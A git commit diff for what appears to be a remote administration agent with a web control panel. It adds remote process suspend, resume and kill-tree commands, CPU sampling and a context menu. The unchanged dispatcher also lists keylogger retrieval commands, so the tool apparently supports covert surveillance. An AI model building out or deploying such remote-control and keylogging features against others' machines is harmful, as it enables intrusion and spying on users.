add context menu to processes view + add more shit you can do.
This commit is contained in:
@@ -2141,6 +2141,62 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
pid = int32(p)
|
||||
}
|
||||
return HandleProcessKill(ctx, env, cmdID, pid)
|
||||
case "process_suspend":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
|
||||
payload = make(map[string]interface{}, len(rawPayload))
|
||||
for k, v := range rawPayload {
|
||||
ks, ok := k.(string)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
payload[ks] = v
|
||||
}
|
||||
}
|
||||
}
|
||||
suspendPid := int32(0)
|
||||
if p, ok := payload["pid"].(float64); ok {
|
||||
suspendPid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(uint64); ok {
|
||||
suspendPid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(int64); ok {
|
||||
suspendPid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(int); ok {
|
||||
suspendPid = int32(p)
|
||||
}
|
||||
return HandleProcessSuspend(ctx, env, cmdID, suspendPid)
|
||||
case "process_resume":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
|
||||
payload = make(map[string]interface{}, len(rawPayload))
|
||||
for k, v := range rawPayload {
|
||||
ks, ok := k.(string)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
payload[ks] = v
|
||||
}
|
||||
}
|
||||
}
|
||||
resumePid := int32(0)
|
||||
if p, ok := payload["pid"].(float64); ok {
|
||||
resumePid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(uint64); ok {
|
||||
resumePid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(int64); ok {
|
||||
resumePid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(int); ok {
|
||||
resumePid = int32(p)
|
||||
}
|
||||
return HandleProcessResume(ctx, env, cmdID, resumePid)
|
||||
case "keylog_list":
|
||||
return HandleKeylogList(ctx, env, cmdID)
|
||||
case "keylog_retrieve":
|
||||
|
||||
@@ -51,3 +51,41 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||
log.Printf("process_suspend: %d", pid)
|
||||
|
||||
err := suspendProcess(pid)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||
log.Printf("process_resume: %d", pid)
|
||||
|
||||
err := resumeProcess(pid)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
@@ -90,3 +90,11 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
func killProcess(pid int32) error {
|
||||
return syscall.Kill(int(pid), syscall.SIGKILL)
|
||||
}
|
||||
|
||||
func suspendProcess(pid int32) error {
|
||||
return syscall.Kill(int(pid), syscall.SIGSTOP)
|
||||
}
|
||||
|
||||
func resumeProcess(pid int32) error {
|
||||
return syscall.Kill(int(pid), syscall.SIGCONT)
|
||||
}
|
||||
|
||||
@@ -6,8 +6,11 @@ package handlers
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"overlord-client/cmd/agent/wire"
|
||||
@@ -18,10 +21,22 @@ import (
|
||||
var (
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modPsapi = windows.NewLazySystemDLL("psapi.dll")
|
||||
modNtdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
|
||||
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
|
||||
procOpenProcess = modKernel32.NewProc("OpenProcess")
|
||||
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
|
||||
procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
|
||||
)
|
||||
|
||||
type cpuSample struct {
|
||||
cpuTime100ns uint64
|
||||
sampledAt time.Time
|
||||
}
|
||||
|
||||
var (
|
||||
cpuSamplesMu sync.Mutex
|
||||
cpuSamples = make(map[int32]cpuSample)
|
||||
)
|
||||
|
||||
type PROCESS_MEMORY_COUNTERS struct {
|
||||
@@ -39,6 +54,10 @@ type PROCESS_MEMORY_COUNTERS struct {
|
||||
|
||||
func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
selfPID := int32(os.Getpid())
|
||||
numCPU := runtime.NumCPU()
|
||||
if numCPU < 1 {
|
||||
numCPU = 1
|
||||
}
|
||||
var pids [4096]uint32
|
||||
var bytesReturned uint32
|
||||
|
||||
@@ -105,6 +124,36 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
memory = uint64(memCounters.WorkingSetSize)
|
||||
}
|
||||
|
||||
cpu := 0.0
|
||||
var creation, exit, kernel, user windows.Filetime
|
||||
ret, _, _ = procGetProcessTimes.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&creation)),
|
||||
uintptr(unsafe.Pointer(&exit)),
|
||||
uintptr(unsafe.Pointer(&kernel)),
|
||||
uintptr(unsafe.Pointer(&user)),
|
||||
)
|
||||
if ret != 0 {
|
||||
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
|
||||
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
|
||||
now := time.Now()
|
||||
cpuSamplesMu.Lock()
|
||||
if prev, ok := cpuSamples[pid]; ok {
|
||||
wallDelta := now.Sub(prev.sampledAt).Seconds()
|
||||
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
|
||||
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
|
||||
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
|
||||
if cpu < 0 {
|
||||
cpu = 0
|
||||
} else if cpu > 100 {
|
||||
cpu = 100
|
||||
}
|
||||
}
|
||||
}
|
||||
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
|
||||
cpuSamplesMu.Unlock()
|
||||
}
|
||||
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
ppid := int32(0)
|
||||
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
|
||||
@@ -155,7 +204,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
PID: pid,
|
||||
PPID: ppid,
|
||||
Name: name,
|
||||
CPU: 0.0,
|
||||
CPU: cpu,
|
||||
Memory: memory,
|
||||
Username: username,
|
||||
Type: procType,
|
||||
@@ -163,6 +212,18 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
})
|
||||
}
|
||||
|
||||
cpuSamplesMu.Lock()
|
||||
live := make(map[int32]struct{}, len(processes))
|
||||
for _, p := range processes {
|
||||
live[p.PID] = struct{}{}
|
||||
}
|
||||
for pid := range cpuSamples {
|
||||
if _, ok := live[pid]; !ok {
|
||||
delete(cpuSamples, pid)
|
||||
}
|
||||
}
|
||||
cpuSamplesMu.Unlock()
|
||||
|
||||
return processes, nil
|
||||
}
|
||||
|
||||
@@ -175,3 +236,33 @@ func killProcess(pid int32) error {
|
||||
|
||||
return windows.TerminateProcess(handle, 1)
|
||||
}
|
||||
|
||||
func suspendProcess(pid int32) error {
|
||||
procNtSuspendProcess := modNtdll.NewProc("NtSuspendProcess")
|
||||
handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer windows.CloseHandle(handle)
|
||||
|
||||
ret, _, _ := procNtSuspendProcess.Call(uintptr(handle))
|
||||
if ret != 0 {
|
||||
return fmt.Errorf("NtSuspendProcess failed with status 0x%x", ret)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func resumeProcess(pid int32) error {
|
||||
procNtResumeProcess := modNtdll.NewProc("NtResumeProcess")
|
||||
handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer windows.CloseHandle(handle)
|
||||
|
||||
ret, _, _ := procNtResumeProcess.Call(uintptr(handle))
|
||||
if ret != 0 {
|
||||
return fmt.Errorf("NtResumeProcess failed with status 0x%x", ret)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ let processMap = new Map();
|
||||
let processTree = [];
|
||||
let collapsedPids = new Set();
|
||||
let selectedPid = null;
|
||||
let rowsByPid = new Map();
|
||||
let sortField = "cpu";
|
||||
let sortDirection = "desc";
|
||||
let searchTerm = "";
|
||||
@@ -155,54 +156,54 @@ function buildProcessTree() {
|
||||
processMap.set(proc.pid, { ...proc, children: [] });
|
||||
});
|
||||
|
||||
const isShellParent = (proc) =>
|
||||
proc && typeof proc.name === "string" && proc.name.toLowerCase() === "explorer.exe";
|
||||
|
||||
const roots = [];
|
||||
processMap.forEach((proc) => {
|
||||
if (proc.ppid && processMap.has(proc.ppid)) {
|
||||
processMap.get(proc.ppid).children.push(proc);
|
||||
const parent = proc.ppid ? processMap.get(proc.ppid) : null;
|
||||
if (parent && proc.ppid !== proc.pid && !isShellParent(parent)) {
|
||||
parent.children.push(proc);
|
||||
} else {
|
||||
roots.push(proc);
|
||||
}
|
||||
});
|
||||
|
||||
function computeAggregates(proc) {
|
||||
let cpuTotal = proc.cpu || 0;
|
||||
let memTotal = Number(proc.memory || 0);
|
||||
for (const child of proc.children) {
|
||||
const [childCpu, childMem] = computeAggregates(child);
|
||||
cpuTotal += childCpu;
|
||||
memTotal += childMem;
|
||||
}
|
||||
proc.aggregatedCpu = Math.min(cpuTotal, 100);
|
||||
proc.aggregatedMemory = memTotal;
|
||||
return [cpuTotal, memTotal];
|
||||
}
|
||||
roots.forEach(computeAggregates);
|
||||
|
||||
const sortValue = (proc) => {
|
||||
if (sortField === "cpu") return proc.aggregatedCpu;
|
||||
if (sortField === "memory") return proc.aggregatedMemory;
|
||||
if (sortField === "name") return proc.name.toLowerCase();
|
||||
return proc[sortField];
|
||||
};
|
||||
const cmp = (a, b) => {
|
||||
const aVal = sortValue(a);
|
||||
const bVal = sortValue(b);
|
||||
if (sortDirection === "asc") return aVal > bVal ? 1 : -1;
|
||||
return aVal < bVal ? 1 : -1;
|
||||
};
|
||||
|
||||
function sortChildren(proc) {
|
||||
if (proc.children.length > 0) {
|
||||
proc.children.sort((a, b) => {
|
||||
let aVal = a[sortField];
|
||||
let bVal = b[sortField];
|
||||
|
||||
if (sortField === "name") {
|
||||
aVal = aVal.toLowerCase();
|
||||
bVal = bVal.toLowerCase();
|
||||
}
|
||||
|
||||
if (sortDirection === "asc") {
|
||||
return aVal > bVal ? 1 : -1;
|
||||
} else {
|
||||
return aVal < bVal ? 1 : -1;
|
||||
}
|
||||
});
|
||||
|
||||
proc.children.forEach((child) => sortChildren(child));
|
||||
proc.children.sort(cmp);
|
||||
proc.children.forEach(sortChildren);
|
||||
}
|
||||
}
|
||||
|
||||
roots.forEach((proc) => sortChildren(proc));
|
||||
|
||||
roots.sort((a, b) => {
|
||||
let aVal = a[sortField];
|
||||
let bVal = b[sortField];
|
||||
|
||||
if (sortField === "name") {
|
||||
aVal = aVal.toLowerCase();
|
||||
bVal = bVal.toLowerCase();
|
||||
}
|
||||
|
||||
if (sortDirection === "asc") {
|
||||
return aVal > bVal ? 1 : -1;
|
||||
} else {
|
||||
return aVal < bVal ? 1 : -1;
|
||||
}
|
||||
});
|
||||
roots.forEach(sortChildren);
|
||||
roots.sort(cmp);
|
||||
|
||||
processTree = roots;
|
||||
}
|
||||
@@ -236,45 +237,79 @@ function renderProcesses() {
|
||||
if (filtered.length === 0) {
|
||||
processListEl.innerHTML =
|
||||
'<div class="px-4 py-6 text-center text-slate-400"><i class="fa-solid fa-inbox mr-2"></i>No processes found</div>';
|
||||
rowsByPid.clear();
|
||||
return;
|
||||
}
|
||||
|
||||
processListEl.innerHTML = "";
|
||||
filtered.forEach((proc) => {
|
||||
const row = createProcessRow(proc, proc.depth);
|
||||
processListEl.appendChild(row);
|
||||
for (const child of [...processListEl.children]) {
|
||||
if (!child.classList.contains("process-row")) child.remove();
|
||||
}
|
||||
|
||||
const seen = new Set();
|
||||
filtered.forEach((proc, index) => {
|
||||
seen.add(proc.pid);
|
||||
let row = rowsByPid.get(proc.pid);
|
||||
if (!row) {
|
||||
row = createProcessRow(proc, proc.depth);
|
||||
rowsByPid.set(proc.pid, row);
|
||||
} else {
|
||||
updateProcessRow(row, proc, proc.depth);
|
||||
}
|
||||
if (processListEl.children[index] !== row) {
|
||||
processListEl.insertBefore(row, processListEl.children[index] || null);
|
||||
}
|
||||
});
|
||||
|
||||
for (const [pid, row] of rowsByPid) {
|
||||
if (!seen.has(pid)) {
|
||||
row.remove();
|
||||
rowsByPid.delete(pid);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function createProcessRow(proc, depth = 0) {
|
||||
const row = document.createElement("div");
|
||||
row.className =
|
||||
function rowClassName(proc) {
|
||||
let cls =
|
||||
"process-row grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors";
|
||||
row.dataset.pid = proc.pid;
|
||||
|
||||
if (selectedPid === proc.pid) {
|
||||
row.classList.add("selected");
|
||||
}
|
||||
if (proc.self) {
|
||||
row.classList.add("self-process");
|
||||
}
|
||||
if (selectedPid === proc.pid) cls += " selected";
|
||||
if (proc.self) cls += " self-process";
|
||||
return cls;
|
||||
}
|
||||
|
||||
function rowInnerHtml(proc, depth) {
|
||||
const displayCpu = proc.aggregatedCpu ?? proc.cpu;
|
||||
const displayMemory = proc.aggregatedMemory ?? Number(proc.memory || 0);
|
||||
const cpuColor =
|
||||
proc.cpu > 50
|
||||
displayCpu > 50
|
||||
? "text-red-400"
|
||||
: proc.cpu > 20
|
||||
? "text-yellow-400"
|
||||
: "text-slate-400";
|
||||
const memoryStr = formatBytes(proc.memory);
|
||||
: displayCpu > 25
|
||||
? "text-orange-400"
|
||||
: displayCpu > 10
|
||||
? "text-yellow-400"
|
||||
: displayCpu > 1
|
||||
? "text-slate-200"
|
||||
: "text-slate-500";
|
||||
const MB = 1024 * 1024;
|
||||
const memColor =
|
||||
displayMemory > 2048 * MB
|
||||
? "text-red-400"
|
||||
: displayMemory > 1024 * MB
|
||||
? "text-orange-400"
|
||||
: displayMemory > 256 * MB
|
||||
? "text-yellow-400"
|
||||
: displayMemory > 32 * MB
|
||||
? "text-slate-200"
|
||||
: "text-slate-500";
|
||||
const memoryStr = formatBytes(displayMemory);
|
||||
|
||||
const hasChildren = proc.children && proc.children.length > 0;
|
||||
const isCollapsed = collapsedPids.has(proc.pid);
|
||||
const indent = " ".repeat(depth);
|
||||
const indent = '<span class="tree-indent-guide"></span>'.repeat(depth);
|
||||
|
||||
let treeIcon = "";
|
||||
let treeIcon;
|
||||
if (hasChildren) {
|
||||
treeIcon = `<span class="tree-icon" data-pid="${escapeHtml(String(proc.pid))}">${isCollapsed ? "▶" : "▼"}</span>`;
|
||||
} else if (depth > 0) {
|
||||
treeIcon = `<span class="tree-icon${isCollapsed ? " collapsed" : ""}" data-pid="${escapeHtml(String(proc.pid))}"><i class="fa-solid fa-chevron-down text-[10px]"></i></span>`;
|
||||
} else {
|
||||
treeIcon = '<span class="tree-indent"></span>';
|
||||
}
|
||||
|
||||
@@ -301,28 +336,45 @@ function createProcessRow(proc, depth = 0) {
|
||||
? ' <span class="ml-1 text-[10px] uppercase tracking-wide px-1.5 py-0.5 rounded bg-yellow-500/20 text-yellow-300 border border-yellow-500/40">agent</span>'
|
||||
: "";
|
||||
|
||||
row.innerHTML = `
|
||||
return `
|
||||
<div class="col-span-1 text-sm font-mono text-slate-400">${proc.pid}</div>
|
||||
<div class="col-span-4 flex items-center gap-1 truncate">
|
||||
${indent}${treeIcon}<i class="fa-solid ${iconClass} ${iconColor}"></i>
|
||||
<span class="truncate ${nameColor}">${escapeHtml(proc.name)}</span>${selfBadge}
|
||||
</div>
|
||||
<div class="col-span-2 text-sm ${cpuColor} font-semibold">${proc.cpu.toFixed(1)}%</div>
|
||||
<div class="col-span-2 text-sm text-slate-400">${memoryStr}</div>
|
||||
<div class="col-span-2 text-sm ${cpuColor} font-semibold">${displayCpu.toFixed(1)}%</div>
|
||||
<div class="col-span-2 text-sm ${memColor}">${memoryStr}</div>
|
||||
<div class="col-span-3 text-sm text-slate-500 truncate">${escapeHtml(proc.username || "-")}</div>
|
||||
`;
|
||||
}
|
||||
|
||||
function updateProcessRow(row, proc, depth) {
|
||||
const nextClass = rowClassName(proc);
|
||||
if (row.className !== nextClass) row.className = nextClass;
|
||||
row.innerHTML = rowInnerHtml(proc, depth);
|
||||
}
|
||||
|
||||
function createProcessRow(proc, depth = 0) {
|
||||
const row = document.createElement("div");
|
||||
row.dataset.pid = proc.pid;
|
||||
row.className = rowClassName(proc);
|
||||
row.innerHTML = rowInnerHtml(proc, depth);
|
||||
|
||||
row.onclick = (e) => {
|
||||
if (e.target.classList.contains("tree-icon")) {
|
||||
toggleCollapse(proc.pid);
|
||||
const pid = Number(row.dataset.pid);
|
||||
if (e.target.closest(".tree-icon")) {
|
||||
toggleCollapse(pid);
|
||||
return;
|
||||
}
|
||||
selectProcess(proc.pid);
|
||||
selectProcess(pid);
|
||||
};
|
||||
|
||||
row.ondblclick = () => {
|
||||
selectProcess(proc.pid);
|
||||
killProcess();
|
||||
row.oncontextmenu = (e) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
const pid = Number(row.dataset.pid);
|
||||
selectProcess(pid);
|
||||
showContextMenu(e.clientX, e.clientY, pid);
|
||||
};
|
||||
|
||||
return row;
|
||||
@@ -420,6 +472,130 @@ function escapeHtml(text) {
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
// Context menu
|
||||
let contextMenuEl = null;
|
||||
|
||||
function createContextMenu() {
|
||||
const menu = document.createElement("div");
|
||||
menu.id = "process-context-menu";
|
||||
menu.className = "fixed z-50 hidden min-w-[180px] bg-slate-800 border border-slate-700 rounded-lg shadow-xl shadow-black/40 py-1 text-sm";
|
||||
menu.innerHTML = `
|
||||
<button data-action="suspend" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-pause w-4 text-center text-yellow-400"></i> Suspend Process
|
||||
</button>
|
||||
<button data-action="resume" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-play w-4 text-center text-green-400"></i> Resume Process
|
||||
</button>
|
||||
<div class="border-t border-slate-700 my-1"></div>
|
||||
<button data-action="kill" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-skull-crossbones w-4 text-center text-red-400"></i> Kill Process
|
||||
</button>
|
||||
<button data-action="kill-tree" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-diagram-project w-4 text-center text-red-400"></i> Kill Process Tree
|
||||
</button>
|
||||
<div class="border-t border-slate-700 my-1"></div>
|
||||
<button data-action="copy-pid" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-copy w-4 text-center text-blue-400"></i> Copy PID
|
||||
</button>
|
||||
<button data-action="copy-name" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-tag w-4 text-center text-blue-400"></i> Copy Name
|
||||
</button>
|
||||
<div class="border-t border-slate-700 my-1"></div>
|
||||
<button data-action="refresh" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-refresh w-4 text-center text-slate-400"></i> Refresh List
|
||||
</button>
|
||||
`;
|
||||
document.body.appendChild(menu);
|
||||
return menu;
|
||||
}
|
||||
|
||||
function showContextMenu(x, y, pid) {
|
||||
if (!contextMenuEl) contextMenuEl = createContextMenu();
|
||||
contextMenuEl.dataset.pid = pid;
|
||||
contextMenuEl.classList.remove("hidden");
|
||||
|
||||
const rect = contextMenuEl.getBoundingClientRect();
|
||||
const menuW = rect.width || 180;
|
||||
const menuH = rect.height || 300;
|
||||
const posX = x + menuW > window.innerWidth ? window.innerWidth - menuW - 8 : x;
|
||||
const posY = y + menuH > window.innerHeight ? window.innerHeight - menuH - 8 : y;
|
||||
|
||||
contextMenuEl.style.left = posX + "px";
|
||||
contextMenuEl.style.top = posY + "px";
|
||||
}
|
||||
|
||||
function hideContextMenu() {
|
||||
if (contextMenuEl) contextMenuEl.classList.add("hidden");
|
||||
}
|
||||
|
||||
document.addEventListener("click", hideContextMenu);
|
||||
document.addEventListener("contextmenu", (e) => {
|
||||
if (!e.target.closest(".process-row") && !e.target.closest("#process-context-menu")) {
|
||||
hideContextMenu();
|
||||
}
|
||||
});
|
||||
|
||||
document.addEventListener("click", (e) => {
|
||||
const item = e.target.closest(".ctx-item");
|
||||
if (!item || !contextMenuEl) return;
|
||||
const action = item.dataset.action;
|
||||
const pid = Number(contextMenuEl.dataset.pid);
|
||||
const proc = processes.find((p) => p.pid === pid);
|
||||
hideContextMenu();
|
||||
|
||||
switch (action) {
|
||||
case "suspend":
|
||||
if (!proc) break;
|
||||
if (!confirm(`Suspend process "${proc.name}" (PID: ${pid})?`)) break;
|
||||
send({ type: "process_suspend", pid });
|
||||
updateStatus("connected", "Suspending process...");
|
||||
break;
|
||||
case "resume":
|
||||
if (!proc) break;
|
||||
send({ type: "process_resume", pid });
|
||||
updateStatus("connected", "Resuming process...");
|
||||
break;
|
||||
case "kill":
|
||||
if (!proc) break;
|
||||
if (!confirm(`Kill process "${proc.name}" (PID: ${pid})?`)) break;
|
||||
send({ type: "process_kill", pid });
|
||||
updateStatus("connected", "Killing process...");
|
||||
break;
|
||||
case "kill-tree":
|
||||
if (!proc) break;
|
||||
if (!confirm(`Kill process "${proc.name}" (PID: ${pid}) and all child processes?`)) break;
|
||||
killProcessTree(pid);
|
||||
break;
|
||||
case "copy-pid":
|
||||
navigator.clipboard.writeText(String(pid));
|
||||
break;
|
||||
case "copy-name":
|
||||
if (proc) navigator.clipboard.writeText(proc.name);
|
||||
break;
|
||||
case "refresh":
|
||||
requestProcessList();
|
||||
break;
|
||||
}
|
||||
});
|
||||
|
||||
function killProcessTree(pid) {
|
||||
const toKill = [];
|
||||
function collectChildren(parentPid) {
|
||||
for (const proc of processes) {
|
||||
if (proc.ppid === parentPid && proc.pid !== parentPid) {
|
||||
collectChildren(proc.pid);
|
||||
toKill.push(proc.pid);
|
||||
}
|
||||
}
|
||||
}
|
||||
collectChildren(pid);
|
||||
toKill.push(pid);
|
||||
for (const p of toKill) {
|
||||
send({ type: "process_kill", pid: p });
|
||||
}
|
||||
updateStatus("connected", `Killing ${toKill.length} processes...`);
|
||||
}
|
||||
|
||||
refreshBtn.onclick = () => requestProcessList();
|
||||
killBtn.onclick = () => killProcess();
|
||||
|
||||
|
||||
@@ -50,20 +50,50 @@
|
||||
#process-list::-webkit-scrollbar-thumb:hover {
|
||||
background: #64748b;
|
||||
}
|
||||
.tree-indent-guide {
|
||||
display: inline-block;
|
||||
position: relative;
|
||||
width: 16px;
|
||||
align-self: stretch;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.tree-indent-guide::before {
|
||||
content: "";
|
||||
position: absolute;
|
||||
left: 7px;
|
||||
top: 0;
|
||||
bottom: 0;
|
||||
width: 1px;
|
||||
background: rgba(100, 116, 139, 0.25);
|
||||
}
|
||||
.tree-indent {
|
||||
display: inline-block;
|
||||
width: 20px;
|
||||
width: 16px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.tree-icon {
|
||||
display: inline-block;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 16px;
|
||||
text-align: center;
|
||||
height: 16px;
|
||||
margin-right: 4px;
|
||||
color: #64748b;
|
||||
cursor: pointer;
|
||||
user-select: none;
|
||||
border-radius: 3px;
|
||||
transition:
|
||||
color 120ms ease,
|
||||
background-color 120ms ease,
|
||||
transform 150ms ease;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.tree-icon:hover {
|
||||
color: #60a5fa;
|
||||
color: #93c5fd;
|
||||
background-color: rgba(96, 165, 250, 0.12);
|
||||
}
|
||||
.tree-icon.collapsed {
|
||||
transform: rotate(-90deg);
|
||||
}
|
||||
.process-row.collapsed > .children {
|
||||
display: none;
|
||||
|
||||
@@ -360,6 +360,26 @@ export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw:
|
||||
metrics.recordCommand("process_kill");
|
||||
break;
|
||||
}
|
||||
case "process_suspend": {
|
||||
const pid = Number(payload.pid);
|
||||
if (!Number.isFinite(pid) || pid <= 0) {
|
||||
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" });
|
||||
break;
|
||||
}
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "process_suspend", id: commandId, payload: { pid } } as any));
|
||||
metrics.recordCommand("process_suspend");
|
||||
break;
|
||||
}
|
||||
case "process_resume": {
|
||||
const pid = Number(payload.pid);
|
||||
if (!Number.isFinite(pid) || pid <= 0) {
|
||||
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" });
|
||||
break;
|
||||
}
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "process_resume", id: commandId, payload: { pid } } as any));
|
||||
metrics.recordCommand("process_resume");
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user